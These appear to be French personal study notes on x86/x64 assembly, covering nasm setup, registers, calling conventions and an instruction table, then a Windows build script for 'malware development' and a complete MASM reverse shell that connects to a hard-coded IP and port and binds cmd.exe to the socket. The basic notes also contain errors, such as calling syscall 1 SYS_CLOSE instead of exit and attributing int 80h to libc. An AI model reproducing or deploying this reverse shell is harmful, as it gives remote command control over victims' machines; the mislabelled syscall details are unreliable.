Assembleur

#Terminado

[ASM] Kit de base

Introduction

Le langage d'assembleur est le langage le plus bas-niveau et le plus proche du langage machine.

Cependant, contrairement aux autres langage, chaque architecture possède son jeu d'instruction et donc son propre langage d'assembleur.

Ce cours traitera essentiellement de l'architecture Intel et peut-être AT&T.

image.png

Installation d'un assembleur (nasm)

Linux

Pour installer nasm sur Debian :

sudo apt install -y nasm build-essential

Registres

Registres de données

Un registre de données permet de stocker 16 bits soit 2 octets avec les bits forts placés à gauche et les bits faibles à droite.

Nom raccourcis
Nom complet
Fonction
AX
Accumulator
Opérations arithmétiques et d'entrées/sorties.
BX
Base register
Adressage mémoire.
CX
Count register
Compteur de boucle.
DX
Data register
Extension d'AX.

Registre d'états

Ce type de registre contient des flags permettant de suivre des états.

Sections

Data

C'est ici que nos constantesseront définies dans le code commae dans l'exemple ci-dessous :

SECTION .data
msg     db      'Hello world!', 0Ah

La valeur 0A correspond au caractère \n et le h spécifie qu'il s'agit d'une valeur hexadécimale.

Text

C'est ici que nous définissons le point d'entrée (le label qu'il faut lancer pour démarrer le programme) :

SECTION .text
global _start

Convention d'appel

Voici la liste des registres et leur utilité lors de l'appel à vos fonctions :

arch syscall NR return arg0 arg1 arg2 arg3 arg4 arg5
arm r7 r0 r0 r1 r2 r3 r4 r5
arm64 x8 x0 x0 x1 x2 x3 x4 x5
x86 eax eax ebx ecx edx esi edi ebp
x86_64 rax rax rdi rsi rdx r10 r8 r9

Libc

En architecture Intel x86, selon la convention d'appel, nous devons procédé comme suit pour afficher "Hello world" à l'écran :

_start:
        MOV eax, 4   ; Appel à SYS_WRITE (OPCODE 4 définit dans la libc)
        MOV ebx, 1   ; La valeur 1 correspond à la sortie standard STDOUT
        MOV ecx, msg ; Met le contenu de la constante msg dans le registre ecx
        MOV edx, 13  ; Indique la taille de la chaîne de caractère incluant le null byte (ici 13)
        INT 80h      ; Lance une interruption de la libc pour exécuter nos instructions

Voici comment fermer un programme proprement avec la libc :

_start:
        ; Close program
        MOV eax, 1 ; Appel à SYS_CLOSE dans la libc (OPCODE 1) 
        MOV ebx, 0 ; Code de retour 0
        INT 80h

Les jeux d'instructions

Instructions
Descriptions
MOV
Déplace une valeur dans un registre sous le format suivant : MOV dst, src
CALL
Fait appel à une subroutine (fonction)
INT
Fait une interruption (pour appeler la libc)
PUSH
Pousse une valeur sur la stack
POP
Retire une valeur de la stack (format LIFO)
SUB
Effectue une soustraction entre deux adresses
ADD
Effectue une addition entre deux adresses
CMP Compare deux valeurs
JE
"Jump if Equal". Se rend sur la routine ou le label indiqué si les deux valeurs comparées sont identiques.
JZ
"Jump if the Zero flag is set". Se rend sur la routine ou le label indiqué si le flag zero est définit.
JMP
Saute à la routine ou au label mentionné. 
INC Incrémente une valeur ou une adresse.
RET Définit la fin d'une fonction.

Arguments

Les arguments sont passés sur la stack de sorte à ce que les derniers éléments posés sur la stack soit le nombre d'argument, le nom de l'exécutable, le premier argument, le deuxième etc.

[ASM] Windows Toolkit

Introduction

Cette page va vous donner toutes les ressources nécessaires pour préparer votre envrionnement de développement de Malware sur Windows 10.

Outils

Script de compilation

@echo off
set /p prog=[+] program name (without extension):
"C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.39.33519\bin\Hostx64\x64\ml64.exe" ^
    %prog%.asm /link /subsystem:windows ^
    /defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x64\ntdll.lib" ^
    /defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x64\kernel32.lib" ^
    /defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x64\user32.lib" ^
    /entry:Start ^
    /LARGEADDRESSAWARE:NO ^
    /out:%prog%.exe ^
    /RELEASE
del %prog%.obj
del *.lnk
pause

Vérifiez les chemins en remplaçant les numéros de version puis ajoutez vos DLL si besoin avec l'argument defaultlib .

Hello world

Voici un hello world pour vérifier que la compilation fonctionne correctement :

extrn MessageBoxA :PROC
extrn ExitProcess :PROC

.data
	msg DB "Hello world", 0
	caption DB "Caption", 0

.code
Start PROC
	sub rsp, 28h
	XOR rcx, rcx
	LEA rdx, msg
	LEA r8, caption
	XOR r9, r9
	CALL MessageBoxA
	CALL ExitProcess
Start ENDP

End

[ASM] Windows reverse shell

Code

Remplacer l'IP et le port au format Little Endian.

extrn ExitProcess :PROC

extrn WSAStartup :PROC
extrn WSASocketA :PROC
extrn WSAConnect :PROC
extrn CreateProcessA :PROC

; Définir les valeurs de longueur manquantes
WSADESCRIPTION_LEN equ 256
WSASYS_STATUS_LEN equ 128

sockaddr_in STRUC
    sin_family WORD ?
    sin_port WORD ?
    sin_addr DWORD ?
    sin_zero BYTE 8 DUP (?)
sockaddr_in ENDS

_wsadata STRUC
    wVersion WORD ?
    wHighVersion WORD ?
    szDescription BYTE (WSADESCRIPTION_LEN + 1) DUP (?)
    szSystemStatus BYTE (WSASYS_STATUS_LEN + 1) DUP (?)
    iMaxSockets WORD ?
    iMaxUdpDg WORD ?
    IpVendorInfo QWORD ?
_wsadata ENDS

_startupinfoa STRUC
    cb DWORD ?
    align_1 BYTE 4 dup (?)
    IpReserved QWORD ?
    IpDesktop QWORD ?
    IpTitle QWORD ?
    dwX DWORD ?
    dwY DWORD ?
    dwXSize DWORD ?
    dwYSize DWORD ?
    dwXCountChars DWORD ?
    dwYCountChars DWORD ?
    dwFillAttribute DWORD ?
    dwFlags DWORD ?
    wShowWindow WORD ?
    cbReserved2 WORD ?
    align_2 BYTE 4 dup (?)
    lpReserved2 		QWORD ?
    hStdInput 		QWORD ?
    hStdOutput 		QWORD ?
    hStdError 		QWORD ?
_STARTUPINFOA ENDS

_PROCESS_INFORMATION STRUCT
    hProcess 	QWORD ?
    hThread 	QWORD ?
    dwProcessId 	DWORD ?
    dwThreadId 	DWORD ?
_PROCESS_INFORMATION ENDS


.data

    ; WSAData
    WSAData _wsadata <>

    ; WSASocket
    sd DQ ?

    ; CreateProcessA
    SUInfo _STARTUPINFOA <>
    PrcInfo _PROCESS_INFORMATION <>

    ; Define IP & Port
    sa sockaddr_in <>
    ip DD 17AA8C0h
    port DW 5C11h

    ; CreateProcessA
    shell_str DB "cmd.exe", 0

.code
Start PROC

; Define sa structs
    MOV sa.sin_family, 2
    MOV ax, port
    MOV sa.sin_port, ax
    MOV eax, [ip]
    MOV sa.sin_addr, eax

; WSAStartup
    sub rsp, 28h

    MOV rcx, 2h
    LEA rdx, [WSAData]
    CALL WSAStartup

; WSASocketA
    sub rsp, 40h

    MOV rcx, 2
    MOV rdx, 1
    MOV r8, 6
    XOR r9, r9
    MOV qword ptr [rsp+20h], 0
    MOV qword ptr [rsp+28h], 0
    CALL WSASocketA
    MOV sd, rax
    ADD rsp, 40

; WSAConnect
    sub rsp, 28h

    MOV rcx, sd
    LEA rdx, sa
    MOV r8, SIZEOF sockaddr_in
    XOR r9, r9
    SUB rsp, 56
    MOV qword ptr [rsp+32], 0
    MOV qword ptr [rsp+40], 0
    MOV qword ptr [rsp+48], 0
    CALL WSAConnect
    ADD rsp, 56

; CreateProcessA
    sub rsp, 50h

    MOV rax, sd
    MOV [SUInfo.hStdInput], rax
    MOV [SUInfo.hStdOutput], rax
    MOV [SUInfo.hStdError], rax
    MOV [SUInfo.cb], SIZEOF _STARTUPINFOA
    MOV [SUInfo.dwFlags], 100h

    XOR rcx, rcx
    LEA rdx, shell_str
    XOR r8, r8
    XOR r9, r9

    MOV qword ptr [rsp+20h], 1
    MOV qword ptr [rsp+28h], 0
    MOV qword ptr [rsp+30h], 0
    MOV qword ptr [rsp+38h], 0
    LEA rax, SUInfo
    MOV qword ptr [rsp+40h], rax
    LEA rax, PrcInfo
    MOV qword ptr [rsp+48h], rax
    CALL CreateProcessA
    ADD rsp, 50h

Start ENDP
End